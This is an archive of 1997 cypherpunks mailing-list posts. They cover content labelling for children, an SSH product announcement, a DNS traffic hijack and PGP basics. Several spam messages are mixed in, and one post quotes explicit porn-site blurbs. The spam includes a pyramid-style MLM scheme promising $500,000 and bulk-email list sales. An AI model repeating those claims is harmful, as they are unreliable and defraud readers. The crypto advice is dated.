> > > the difficulty of judging "appropriate for children." Some
> > > jurisdicitions
> > > are attempting to legislate against children being in nudist
> camps.
> > > They
> > > would even claim that children seeing adults and other children
> nude
> > > is
> > > "unambiguosly inappropriate." Others disagree. So, how would their
> web
> > > site
> > > be labeled?)
> > >
> > > The notion that something is "unambiguously" inapproprate,
> obscene,
> > > heretical, treasonous, whatever, is a flawed concept.
> > >
> > > --Tim May
> > >
> > > There's something wrong when I'm a felon under an increasing
> number of
> > > laws.
> > > Only one response to the key grabbers is warranted: "Death to
> > > Tyrants!"
> > >
> > >
> ---------:---------:---------:---------:---------:---------:---------:----
> > > Timothy C. May              | Crypto Anarchy: encryption, digital
> > > money,
> > > tcmay@got.net  408-728-0152 | anonymous networks, digital
> pseudonyms,
> > > zero
> > > W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
> > > markets,
> > > Higher Power: 2^1398269     | black markets, collapse of
> governments.
> > > "National borders aren't even speed bumps on the information
> > > superhighway."
> >
> > --
> > _______________________________________________________
> > James Love | Center for Study of Responsive Law
> > P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
> > http://www.cptech.org | love@cptech.org
> >
> >

-- 
_______________________________________________________
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
http://www.cptech.org | love@cptech.org




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Helenius <Tom.Helenius@DataFellows.com>
Date: Fri, 25 Jul 1997 08:51:01 -0700 (PDT)
To: Petri Laakkonen <Petri.Laakkonen@DataFellows.com>
Subject: Re: Data Fellows announces F-Secure SSH Tunnel&Terminal
Message-ID: <3.0.32.19970725180119.00a427b0@datafellows.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello Petri and others,

I think you haven't fallen off the tracks. We have now (very soon) SSH 1.1
clients. Instead of SSH 1.1 we call the product SSH Tunnel&Terminal. This
way we want to emphasize that SSH is a very nice tool for remote and mobile
workers.

Most of the details about SSH 1.1 you can find in the press release.

Regards,
Tom

At 01:44 AM 7/25/97 -0700, Petri Laakkonen wrote:
>Hi guys,
>
>I'm afraid of that US sales has fallen off the tracks. We need to catch up
>ASAP.
>
>
>At 07:58 PM 7/24/97 +0200, Tom Helenius wrote:
>>FOR IMMEDIATE RELEASE
>>23 July, 1997
>>
>>Data Fellows announces F-Secure SSH Tunnel&Terminal
>>
>What's this product all in all ? Has this now replaced F-Secure SSH or is
>this one additional derivative of SSH a'la ISP SSH ?

SSH 1.1 - Easy to use product for remote/mobile workers. It can do all the
same that SSH 1.0 does and it is more optimised for telecommuting.

>Are the features same as for the most recent SSH clients/servers ? HOw does
>this product differ from SSH ?
>
>Any data sheets ?

Probably we should update SSH 1.0 sheets.

>Is the software
>
>a) shipping
>b) downloadable from the web ?

Should be in a couple of weeks.

>>The remote worker can use e-mail, Internet browser, database tools and all
>>the usual applications at home, on the road or in any place with Internet
>>access. The big difference, though invisible to the remote worker, is that
>>all data communication between the server in the office and the remote user
>>is flowing through an encrypted tunnel.
>>
>Does this configure itself automatically for most popular office apps as
>discussed some time earlier, or do admins still need to do the installation
>manually for each computer or count on users doing this themselves ?

You still need some knowledge to make the initial configuration. After that
it is very easy. I don't know about the automatic deployment tool.

>>F-Secure SSH Tunnel&Terminal provides strong encryption of data and thus
>>sets a new standard for secure remote working. Existing solutions like
>>Cisco Systems L2F, IETF L2TP and firewalls don't provide strong encryption
>>and authentication, which makes these solutions insecure against
>>eavesdropping and IP spoofing attacks. In addition to encrypted tunnels, 
>>F-Secure Tunnel&Terminal also provides secure terminal connections to UNIX
>>hosts and secures UNIX X11 applications.
>>
>What would be F-Secure Tunnel's added value over MS pptp ?

MS PPTP does not provide strong crypto. With the SSH tunnels we are almost
directly competing against PPTP. Of course PPTP is not available for win3.x
and Mac. I'm preparing some info about PPTP, at least for our partners. The
problem is I'm not sure what to say and how.

>>The automatic deployment tool enables straightforward company-wide
>>installation and updates.
>>
>Interesting. Tell us more about this ?

This is very interesting. I have to admit I don't know what this really
means. Let's find out on Monday.

>>
>>
>>F-Secure SSH Tunnel&Terminal is available for win3.1, win95, winNT and UNIX
>>operating systems worldwide in the end of July, 1997.
>>
>How about our friends from Cupertino (e.g. Apple) ?

This seems to be an error. We are doing the Mac also. Sorry.

>Thanks for the additional info in advance,
>
>Petri
>
>--------------------------------------------------------------------
>Petri.Laakkonen@DataFellows.com, World Wide Web: http://www.DataFellows.com
>
>Data Fellows U.S headquarters has moved ! Our new contacts as of March
>24th, 1997 are:
>
>Data Fellows 
>675 N. First Street, Suite 605
>San Jose, CA 95112
>phone (408) 938-6700, fax (408) 938-6701
>
>********************************************************************* 
>* 				F-Secure              		      *
>*            Award-winning Security for Peace of Mind               *
>*               from the Desktop to the Internet                    *
>*									      *	
>*	 	http://www.DataFellows.com/                           *
>********************************************************************
>
--
Tom.Helenius@DataFellows.com, World-Wide Web http://www.DataFellows.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: goy@aol.com (INFOREVOLUTION)
Date: Fri, 25 Jul 1997 22:36:44 -0700 (PDT)
To: allgood@people.com
Subject: "Find The Dirt On The Internet!"
Message-ID: <199707263004WAA43361@america.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-cypherpunks
Date: Sat, 26 Jul 1997 02:47:18 -0700 (PDT)
To: friendofthenet@Friendly-Domain.org
Subject: Send Your Message to 50 Million---at "INSANE SPEED" !!
Message-ID: <742590688053BBD2344@XdX24d9067u5.com>
MIME-Version: 1.0
Content-Type: text/plain





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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tidaore@aol.com (INFOREVOLUTION)
Date: Sat, 26 Jul 1997 05:59:15 -0700 (PDT)
To: allgood@people.com
Subject: "Find The Dirt On The Internet!"
Message-ID: <199707262159PAA54928@america.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: megamoneymakers@mail-response.com
Date: Sat, 26 Jul 1997 07:10:36 -0700 (PDT)
To: megamoneymakers@mail-response.com
Subject: Free Money Making Software!
Message-ID: <199707261712.NAA16649@plant.mail-response.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 27 Jul 1997 11:02:07 -0700 (PDT)
To: James Love <love@cptech.org>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33D8E731.8A663470@cptech.org>
Message-ID: <Pine.LNX.3.91.970726180542.4363C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> Tim, if you think that no web site are unambiguously inappropriate for
> children, then you are in a state of denial. 

Please clarrify this for us: What sites would you classify as unsuitable 
for children? What would you define as being a child? What justification 
do you give for supposing certain material to be unsuitable for viewing 
by a certain class of people?

> are a mistake, and should be resisted.  However, I do favor a far less
> ambitious and less informative system (less is more, as far as I am
> concerned), which involves a simple, single voluntary tag, selected by
> the web page publisher, at their discretion, of the nature of 
> 
> <META NAME="Rating" CONTENT="adult">

Would your vision of this be a mandatory system, or totally voluntary? 
Would clearly rating a site incorrectly be punishable in any way?

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mf@mediafilter.org (MediaFilter)
Date: Sun, 27 Jul 1997 01:42:46 -0700 (PDT)
To: (Recipient list suppressed)
Subject: Re: Netzwelt: Geiselnahme im Netz (article in DER SPIEGEL)
Message-ID: <1342145713-807839@MediaFilter.org>
MIME-Version: 1.0
Content-Type: text/plain


[...]
>          Mit so negativen Reaktionen hatte Kashpureff nicht
>          gerechnet. Noch vor einer Woche behauptete er
>          gegen¸ber Wired News selbstbewuþt: "Wenn Network
>          Solutions mir an den Kragen geht, dann werde ich ein
>          gr-þerer M"rtyrer als Phil Zimmermann" -- jener
>          inzwischen weltweit bekannte B¸rgerrechtler, den die
>          US-Regierung erfolglos wegen der Verbreitung seiner
>          Verschl¸sselungssoftware PGP verfolgt hatte.
>          Angesichts des Imageproblems, das Network Solutions im
>          Netz hat, war die Zuversicht des Dom"nenguerilleros
>          gar nicht so abwegig. Doch trotz dieser alten
>          Animosit"ten stiftete Kashpureffs Aktionismus
>          ausnahmsweise einmal Konsens in der Welt der
>          Internetverwalter: So geht es nicht.

http://www.spiegel.de/netzwelt/themen/kashpureff.html
[...]

...Kashpureff didn't expect such a negative reaction.
"When Network Solutions cuts my throat, then I will become
a gurella martyr like Phil Zimmerman (of PGP fame)"
he proclaimed to Wired news....
[...]

Give me a break!  this is like some bad tv movie.
Kashpureff, the self-styled martyr in hiding from the feds
as they move in to seize his computers after he hijacked
traffic from Nework Solutions' website to his own
(in a desperate attempt to log some hits?). If this is supposed
to be some profound statement, I think the message is lost
in the idiocy of it all.

As I stated in a previous posting, I denounce this type of traffic hijacking
as irresponsible practice and as a negative reflection on other independents
who are working to open up the address space on the net in the interests
of the public.

If Kashpureff would like to participate in the evolution of the net,
he should not jeopardize its stability of for the sake of personal vanity.

This type of drama and diversion are totally unnecessary, and obscures
the focus on the real issues at hand in the whole namespace debate.
One major factor of the issue is being settled in the name.space/pgMedia
anti trust action against NSI...Kashpureff and others could potentially benefit
from the outcome of that action if they conduct themselves in a mature and
responsible manner.  The next step in the implementation of the expanded
namespace demands responsible practice if we are to avoid government
regulation and corporate beauracracy and let the system evolve and regulate
itself naturally.

Judging by this recent bahavior though, it appears that some can't deal
with it all now, that it's beginning to get too real.
The games and posturing are over.  It's time to finally put up or shut up.

...In my opinion, that is...


Paul Garrin
name.space
http://name.space
http://namespace.xs2.net






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OIL.PATCH.MARKETING@08746.com
Date: Mon, 28 Jul 1997 12:34:44 -0700 (PDT)
To: lookat@worldtel.net
Subject: BULK EMAIL LIST GETS RESULTS QUICKLY TRY IT
Message-ID: < 9435Ecc7672@worldtel.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Mon, 28 Jul 1997 07:02:03 -0700 (PDT)
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <Pine.LNX.3.91.970726180542.4363C-100000@fatmans.demon.co.uk>
Message-ID: <33DCA6FE.32CB0327@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain


Paul Bradley wrote:
> 
> > Tim, if you think that no web site are unambiguously inappropriate
> for
> > children, then you are in a state of denial.
> 
> Please clarrify this for us: What sites would you classify as
> unsuitable
> for children? 


Let me you way out on a limb, and suggest the following entries, from an
infoseek search for the workd PICS, would be unabiguously inappropriate
for children.

--------------------------------

Pissing, Fisting and beastiality! We go to great lengths to bring you
the Good Old Fashioned ALL AMERICAN Pornography, Just Like Dad Used To
Watch! Unfortunately, We can't bring you everything!
55%   http://adult.mdc.ca/free/xxxp.html     (Size 4.3K) 

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gangbang action!!! 100% GUARANTEED free xrated pics Action!

55%   http://adult.mdc.ca/free/xratedp.html     (Size 4.5K)

-------------------------------------------------


> What would you define as being a child? 
> What
> justification
> do you give for supposing certain material to be unsuitable for
> viewing
> by a certain class of people?


    I don't think I need much justification to suggest that "the
ultimate in anal, double anal, double penetration, sloppy oral, and
gangbang action" is unsuitable for viewing by "a certain class of
people," --- namely children.  Do you seriously dispute this?  If so,
there isn't much point in debating this.  


> 
> > are a mistake, and should be resisted.  However, I do favor a far
> less
> > ambitious and less informative system (less is more, as far as I am
> > concerned), which involves a simple, single voluntary tag, selected
> by
> > the web page publisher, at their discretion, of the nature of
> >
> > <META NAME="Rating" CONTENT="adult">
> 
> Would your vision of this be a mandatory system, or totally voluntary?
> Would clearly rating a site incorrectly be punishable in any way?


         What I suggested was a system where you either label it adult,
or you don't label it at all.  I certainly wouldn't think anyone would
get punished for labeling a site adult if it was suitable for children. 
As for a failure to label for adult content, I think the consequences
should be pretty obvious.  You have community and church groups pissed
off.  You have law enforcement officials from various countries pissed
off.  You have parents pissed off.  You have legislators pissed off. 
That's what is going on now.  Why one would want to encourage this is
beyond me.  Maybe fighting for the right to show  the "ultimate in anal,
double anal, double penetration" to children has redeeming value that I
don't appreciate.  

      There are lots of government and non-government sanctions that
could come into play for those who don't take reasonable steps to make
it easier to censor some content for children.  This is just the way the
world is.  It's like a state of nature.  It's human nature.  It is
undoubtely the majority view.  Even if one completely disagreed with the
idea of censoring "gangbang action" for children, you might find it a
good strategy, in order to avoid worse outcomes, such RSACi, Safesurf or
other PICS type rating systems.

     But if you think it is really important to fight for the rights of
9 year olds to see such materials in schools and libraries (where a lot
of the battles are being fought today), then go right ahead.  Good
luck.  

      Jamie

_______________________________________________________
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
http://www.cptech.org | love@cptech.org




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Mon, 28 Jul 1997 16:36:07 -0700 (PDT)
To: Chris Avery <cavery@ccnet.com>
Subject: Re: Queries from a Cyper-newbie?
In-Reply-To: <01BC9B6D.6CC7B860@h97-172.ccnet.com>
Message-ID: <3.0.2.32.19970728193553.007df490@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 03:45 PM 7/28/97 -0700, you wrote:
>Anybody willing to offer a bit of help to a cypher-newbie?  I'm 
trying to sort out a few of the basics:

Well as long as you ask like that instead of what most newbies do, 
such as try and subscribe by sending "Add me to the mailing list" to 
the list.

>1. PGP 5.0 -- good software?

It's better integrated for Mac Lusers and Windows 95ers.  It is, 
however, flawed in some respects.

>If not, what problems?  Why to use DSS vs/ RSA keys?  How is 5.0 
different than 2.6.3i ?  Which is better?

2.6.3i cannot use CAST, or (who would want to , it's DES!) Triple-
DES.  It does however, can use other hashes with RSA, thanks to 
someone's discovery on PGP-USERS.  2.6.3i is dos native, and complex. 
 A shell integrates nicely, but it's still not the same.

>2. Are emails encrypted using PGP 5.0 decypherable by PGP 2.6.3i 
(and vice versa?)  Using RSA keys? 

ONLY using RSA keys.  DSS/Diffie-Hellman support is being added to 
old PGP's.  RSAREF is used in PGP 5.0 .  MPILIB, Phil Zimmermann's 
original PGP RSA algorithm implementation is used in international 
versions.  It's becuase of RSA's patent stuff.

>3. I understand certain encryption s/w cannot be legally exported, I 
am aware that such s/w is nevertheless being used (and built) abroad. 
 My queries:  Is purely domestic use being threatened by the pending 
legislation?  Is it already illegal to send an encrypted msg out of 
the US? If so, is it illegal to receive an encrypted msg from outside 
the US?

Unless it is the "shitty 40 bit" type.  It can be built abroad, for 
example, IDEA was made in switzerland, or something like that..., PGP 
2.6.3i was made legally, I think.  Domestic use is being threatened 
by Nazi Motherfuckers like Billy-Bob Clinton [spit], The FBI, and the 
NSA.  Oppose them.  Go to www.crypto.com and do some of the stuff 
there.  Sending and recieving mail from the outside of the US *is 
legal*.

>4. How strong is strong?  My MS Explorer has the 128 bit encryption 
scheme to secure domestic financial transactions (such as credit 
cards). How "un-encryptable" is this? I read some recent postings 
here re difficulty of breaking 128 bit keys -- but this had reference 
to stronger methods of encryption than MS Explorer uses, right? So 
128 bits is hard to break (umptyump years, terrawatts, etc.)? Then 
why does my PGP 5.0 software offer keys that are 768, 1024, etc. up 
to 4096 bits in length? Are these numbers on the same scale? 

Unencryptable?  What the fuck are you talking about?  If you mean 
crackable, let's just say it'd take several time the age of the 
Universe to crack it.  The RSA keys are weaker than symmetric 
cyphers, unless we're talking about DSS/Diffie-Hellman keys with 
4096bits.  They are not on the same scale.

>Any "strength" differences between RSA, DSS, and Diffie-Hellman? IS 
there some layman-understandable difference between these? 

Well, RSA's are patented and RSA is really anal with their patents.  
DSS/Diffie-Hellman keys are unpatented.  You can change hashes on RSA 
keys (RIPEM160, MD5 [was broken already], and SHA-1).  But to use 
those RSA's with older PGP's, use only MD5.

>5. Is international data traffic somehow monitored (or monitorable) 
to detect encrypted traffic?

It can be detected that you're using encryption.  Breaking PGP is 
another thing.

If any other cypherpunks want to correct me here, do so.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM9065B0+FhmmTrSJAQEdsgQAmRAJR7CxQCy4Wfny8YM6oJ3chLKnJCnA
E45EElRsAVS8zyAWy06/ZJFG8XjInjgAzmx+fRvGoN0qHvObyFfrDMPML0w+405s
cddgcApc0DfbjP8narKHVBQnbOhwuSjdDbwTbFF9F+EG0OkXewgYKXS/QnS11ov/
ofr4ooPGcr0=
=rowH
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: emailblaster@mail-response.com
Date: Mon, 28 Jul 1997 22:47:19 -0700 (PDT)
Subject: Complete Bulk Email Pkg only $49.95
Message-ID: <199707290848.EAA28405@mail-response.com>
MIME-Version: 1.0
Content-Type: text/plain


                     
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You become a distributor of Email Blaster for only $99 and you receive
5 Complete Email Blaster packages. 

Let's say you resell Email Blaster package at a discount of $199 each.
$199 x 5 packages = $995 CASH!!! Your potential is unlimited!
This price is a Special Promotion  and is only available to new distributors!!!
Our distributor package normally sells for $199. Take advantage of these low prices 
for the month of July now and reserve as many copies as you want.
he more you buy the more $$$ you can make!!!


Price List
5 Packages: $99     10 Packages: $149       20 Packages      $299.
Larger quantity discounts are available upon request.


Benefits of becoming a Distributor Now:
•50% Discount for the month of July 
•No Shipping (You simply refer all your customers to our website to download their package.) 
•No postage 
•No inventory (We keep track of how many packages you have and how many you sold electronically.) 
•No hassles (We have full tech support that will assist your customers for you! This is invaluable!!!) 
•No need to worry about payment methods ( We can assist you in obtaining a method of being able to accept major credits and 900# service for billing. No credit checks or approval necessary!!!) 
•Plus.... You will be able to distribute all future software programs and receive the best prices!!! 
•Additional questions (No problem, call our office at: 609-933-3527 

What are you waiting for start making money today SIGN UP NOW!!!
**********************************************************************************************************
 
To take advantage of this opportunity, please fill out the order form below and fax or mail to:
Internet Marketing P.O. Box 276 Bellmawr, NJ 08099  Phone: 609-933-3527 Fax: 609-933-1499
Don't miss out on this opportunity!  Special Promotion!!!


Name: _____________________________________________________


Address:____________________________________________________


City:___________________________________________


State:___________________________


Zip:_____________________________


Telephone::_____________________________________________


E-Mail Address:__________________________________________


Once we receive your order, you will receive a confirmation by email, informing
you of our tech support number , website address so you may go and download
your packages immediately and info on our Bulk Email Provider Service.
No need to ever wait for a package in the mail!!!

----------------------------------------------------------------------------------------------------------------------------------
"COMPLETE EMAIL BLASTER PACKAGE" only $49.95 ________

1 Copy of Email Blaster 

1 Electronic Help System: Email Blaster Help System will provide you with step
by step directions on how to use Email Blaster and help with setting up your provider.
For your convience this is built right into your copy of Email Blaster.

Unlimited Email Addresses: 25 Million And Growing
Our Email Addresses are updated monthly.  You can download these addresses
right from our website at your convenience.


-----------------------------------------------------------------------------------------------------------------------------------------
5 DISTRIBUTOR PACKAGE only $99: _________
This is a Special Promotion to new distributors only!!!


5 Copies of Email Blaster 

5 Electronic Help System:Email Blaster Help System will provide you with step
by step directions on how to use Email Blaster and help with setting up your provider.
For your convience this is built right into your copy of Email Blaster.

5 Unlimited Email Addresses: 25 Million And Growing
Our Email Addresses are updated monthly.  You can download these addresses
right from our website at your convenience.

Now you can take advantage of Email Blaster Package and resell each 
package up to $299. each.  You make $1495


10  DISTRIBUTOR PACK  only $149. _______
Includes 10 Complete Packages of Email Blaster.
You can make up to  $2990.00

20 DISTRIBUTOR  PACK: ONLY $299 ________
Includes 20 Complete Packages of Email Blaster.
You can make up to  $5980.00

*************************************************************************************************
If you would like to pay by check, please make check payable to: Internet Marketing
mail to: PO Box 276 Bellmawr, NJ 08099 or  Fax to 1-609-933-1499 along with this order form.
If you are paying with a Fax Check please include an additional $3.00 for check processing fees.

Credit Card: _______________________________________________
Visa, Master Card and AMEX.

EXP. Date: _____________________


Total to be charged: $________________________



Signature:___________________________________________________________

















   3024




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: editors@commonwealthpub.com
Date: Sat, 2 Aug 1997 17:26:25 -0700 (PDT)
To: writers@world
Subject: Re: Authors Wanted
Message-ID: <199707291955.NAA10805@mail.commonwealthpub.com>
MIME-Version: 1.0
Content-Type: text/plain


Authors Wanted

North American publisher requires book length manuscripts in
all genres for possible publication. Translation services
available.

Reply with outline or synopsis to:
Commonwealth Publications,
email: editors@commonwealthpub.com
fax: (403)-432-9409

Visit our website at http://www.commonwealthpub.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: freesoftware@worldnet.att.net
Date: Tue, 29 Jul 1997 12:40:59 -0700 (PDT)
To: Friend@public.com
Subject: Free software available online.
Message-ID: <19970729184725.AMU13842@mailhost.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain


This is a one time mailing, you are not on a mailing list and will not be contacted again.
-----------------------------------------------------------------------
W E L C O M E

                                     T O

                         " Your Future "

                                     by

                                 Ruben Garcia
To get a "FREE" copy of this amazing software just reply to this email with SEND IT as your subject line.

This is the same chance someone gave me and I was lucky enough to take a serious look at this software and it has been 
one of the best moves I have ever made! I hope you too will realize that opportuntities like this are rare and that you dont let
 it slip through your fingers like many people do (remember there are those that say, and those that do. Which are you?)

    You are being introduced to the most profitable and unique Money Making Computer Program ever created for the IBM PC 
and compatibles.This software has demonstrated and proven ability to generate large sums of money.  This program is 
showing fantastic appeal  with a huge and ever growing population  from all over the world  which needs  additional income 
working from home with a personal computer.
  Making money in MLM is what many people strive for, but making LOTS of money in MLM is what people really want and
 they want it FAST !.
This system is the perfect vehicle to achieve this.  This program will work for you if you carefully follow the instructions and
 apply these next four points:

1.  INSIGHT: It is necessary  to see  the great  possibilities  that this marketing program contains. Read it several times, then 
later read it again !. Calculate the numbers for yourself; you will see the amazing
results that can be obtained.

2.  INVESTMENT: Not in anyone else,  but in yourself.  Every endeavor which produces a profit requires some degree of
 investment, be it time, money,resources, etc.  For the  potential  gain  that can  come to you,  this investment is quite
 insignificant.

3.  APPLICATION: There is no such thing as a "FREE LUNCH".Even this opportunity requires some effort and time. Every
 successful venture does.

4.  PATIENCE: After you have accomplished  the steps described,  the program requires a little time before showing a good
 response. As it enters from the  1st to the  5th level of distribution, there is a time element that to some could be a bit 
aggravating  without giving proper thought to how the program works,  and it does work !.  You must allow a few weeks so 
be patient !.  "ALL GOOD THINGS COME TO THOSE WHO WAIT!".
This  is  a  LEGITIMATE, LEGAL and tremendous money-making opportunity.

    It does not require you  to come in contact  with people, do any  heavy work, and best of all, you never have to leave your
 home, except to get the mail.

    If you believe that some day you will get that lucky break that you have been waiting for,  hoping to make it big in 
Electronic Commerce with MLM and the Internet, THIS IS IT !. Simply follow the easy instructions, and your dreams will come
 true !.

    This  Computer Program runs under DOS or Windows. It is the electronic version  of the  most simple and profitable 
Multilevel Marketing system ever devised and works perfectly 100% EVERY TIME !.

    You can use this program to raise capital to start another business,pay off debts,  buy homes,  cars, etc., even RETIRE !.  
This is your chance, so don't pass it up. FOLLOW THE INSTRUCTIONS EXACTLY, and in just a few weeks you will have 
received upwards of $ 500,000.

    Let's face it, the profits are worth it !,  THEY'RE TREMENDOUS !!!. So go for it. Remember the 4 points and we'll see you 
at the top !.

    Everyone involved in the program  makes money
for everyone else in the program. If anyone makes money, everyone makes money.  This is a POWERFUL way to leverage 
your time,  money and effort 10,000% or more....  So  don't  underestimate the  AMAZING power of this system to put lots of 
$$$ cash $$$ in your pocket fast...

    The PRODUCT in this business is a series of six Info-Reports on the following topics:

   Report # 1: " UNDERSTANDING THE REAL POWER OF MLM "
   Report # 2: " EVERYTHING YOU NEED TO KNOW ABOUT THE    INTERNET "
   Report # 3: " MARKETING YOUR BUSINESS ON-LINE "
   Report # 4: " SECRETS OF THE RICHEST PEOPLE IN THE WORLD "
   Report # 5: " THE TRUTH ABOUT DOWNLINE BUILDING CLUBS "
   Report # 6: " THE GUIDE TO YOUR SYSTEM "

    The information contained in these reports  will not only help you in making your participation in this business more
 rewarding but will be useful to you in other business decisions you make in the years ahead.

    In any  MULTILEVEL MARKETING BUSINESS,  we have  a method  of raising CAPITAL that works 100% every time !.  
We are sure that you could see $ 50,000 to $ 500,000 in the next few weeks. Before you say, "NO WAY",please study this
 program carefully.

    THIS IS NOT A CHAIN LETTER OR A PYRAMID SCHEME, but a legal money making opportunity.  Basically,  this  is  
what we do:  As with all  Multilevel businesses, we build our business by recruiting new partners and selling our products 
on-line.  

    Each $ 5.00 order you receive will  include the  E-mail address of the sender !.  To fill each order, you simply E-mail a 
special CODE to the buyer that will instruct his program to extract the requested product(one of the six business and financial 
reports).

    If the buyer  doesn't have an E-mail  address simply  print the  Sales Receipt that the program generates and send it as a
 letter via regular mail.When the buyer receives his CODE he will enter it into the program andthe program will extract the 
corresponding product (Info-Report)."That's it...the  $ 5.00 is yours."  This is the  GREATEST  MultilevelElectronic Marketing 
program anywhere in the world !. The business can be conducted entirely on-line (E-mail and the WWW) or via regular mail 
with diskettes and regular letters.

    HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$ MONEY $$
    ---------------------------------------------------------

    Let's say  you decide to start small  just to see how it goes  and we'll assume your goal is to get 10 people to participate on
 your first level. Placing a lot of Free Ads on the Internet  could easily cause you to get a much better  response.  Mailing  
diskettes to opportunity seekers  and computer users will surely generate more than 10 people as well.

    Also many people will want to get more than 10 people. But continuing
    with this example, you get 10 people to participate.

    1) That's 10 people in your first level
       who will order Report # 1 from you.
       (10 orders at $ 5 each = $ 50.00).

    2) Those 10 people sponsor at least 10 people each.
       That's 100 people in your second level
       who will order Report # 2 from you.
       (100 orders at $ 5 each = $ 500.00).

    3) Those 100 people sponsor 10 people each.
       That's 1,000 people in your third level
       who will order Report # 3 from you.
       (1,000 orders at $ 5 each = $ 5,000.00).

    4) Those 1,000 people sponsor 10 people each.
       That's 10,000 people in your fourth level
       who will order Report # 4 from you.
       (10,000 orders at $ 5 each = $ 50,000.00).

    5) And finally, those 10,000 people will sponsor 10 people each.
       That's 100,000 more people on your fifth and last level
       who will order Report # 5 from you.
       (100,000 orders at $ 5 each = $ 500,000.00).


    Sumarizing the grand total of orders and profits:

               111,110 orders  x   $ 5.00 each   =  $  555,550.00


    ************************************
    THAT'S OVER HALF A MILLION DOLLARS !!     Unbelievable !!
    ************************************

    Now, think about it !. Is 10 people an unrealistic goal ?   NO !.

    There are millions of computer users on the Internet. There are millions of computer users that are not connected to the
 Internet yet.
Anybody working on-line and off-line  distributing the  PSM software can
easily sponsor 10 users and more !. The PSM system is 100% DUPLICATABLE.
There is no room for mistakes !. Anyone CAN do it but not everyone KNOWS
HOW to do it !.  So the only work is to share  this Information with all
those people who want and need to make money with their computers.

    Remember friends, this is assuming that the people who participate only recruit 10 people each, but everyone is free to 
distribute as many copies as desired at any time !. THERE IS NO LIMIT !.

    Dare to think for a moment what would happen if everyone got  20 people to participate. INCREDIBLE !!  Believe me, 
many people will do just that and more. 

To get a "FREE" copy of this amazing software just reply to this email with SEND IT in
 your subject line or send a SELF ADDRESSED STAMPED ENVELOPE to:

Twin Internet Systems
P.O. Box 1794
Wilkes Barre, PA, 18703

This is the same chance someone gave me and I was lucky enough to take a serious look at this software and it has
 been one of the best moves I have ever made! I hope you too will realize that opportuntities like this are rare and that 
you dont let it slip through your fingers like many people do (remember there are those that say, and those that do. 
Which are you?)

God Bless 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 94083120@usa.net
Date: Tue, 29 Jul 1997 14:42:10 -0700 (PDT)
To: info1@lunarlanding.com
Subject: Save Up To $1000 on Your Grocery Bills!
Message-ID: <1997051680036.info1@lunarlanding.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Fellow Internet User,

I know you get bombarded with all kinds of offers over the Internet. However, here is one that
actually pays you back much more than you need to pay out. If you go grocery shopping, you can save up to $1000
by getting our discount coupon books. And, you can even sell these books to others, earning you some part time income!

GROCERY COUPONS = BIG SAVINGS
Save up to 50% and more on your grocery bill with Coupon Connection of America. You choose
the name brand coupons you want for the products you buy. No more clipping coupons from the
newspaper. Imagine having a discount coupon for almost every item you buy.

COUPONING IS FOR EVERYONE
Over 90% of America's housholds save millions of dollars each year by using coupons. Everyone
from middle class mothers on a budget to wealthy matrons use coupons. WHY? Because if you
don't, you are throwing money in the trash. EVERYONE wants to save money, and we can help
you do it.

FANTASTIC SAVINGS
If you use Coupon Connection of America, you are guaranteed to save money. You choose the
coupons you want - for products you know you are going to buy from our list of over 1200 national
name brand products. We send the coupons to you in about 10-15 working days. When you
redeem the coupons at your favorite store, you will see an immediate savings in your grocery bill.
You will pay less for asprin, cereal, soup, detergent, frozen dinners, ice cream, coffee, crackers,
diapers, soda, shampoo, and much more.

Select from over 1200 brand name products - Crest, Colgate, Kleenex, Kellogs, Ajax, Ivory,
Tide, Parkay, Lipton, Kraft, Stouffers, Heinz, Purina, Del Monte ... the list goes on! You can use
these coupons WHEREVER you shop, as often as you like.

HERE IS HOW IT WORKS
With the $500.00 coupon book you can select $500 worth of grocery coupons of your choice. The
book contains fifty (50) ten dollar ($10.00) coupon certificates. You simply fill out the certificate
with the code numbers of the products you want. You can make 35 coupon selections per
certificate and we will fill the order with 1-3 coupons from each selection until we reach the $10.00
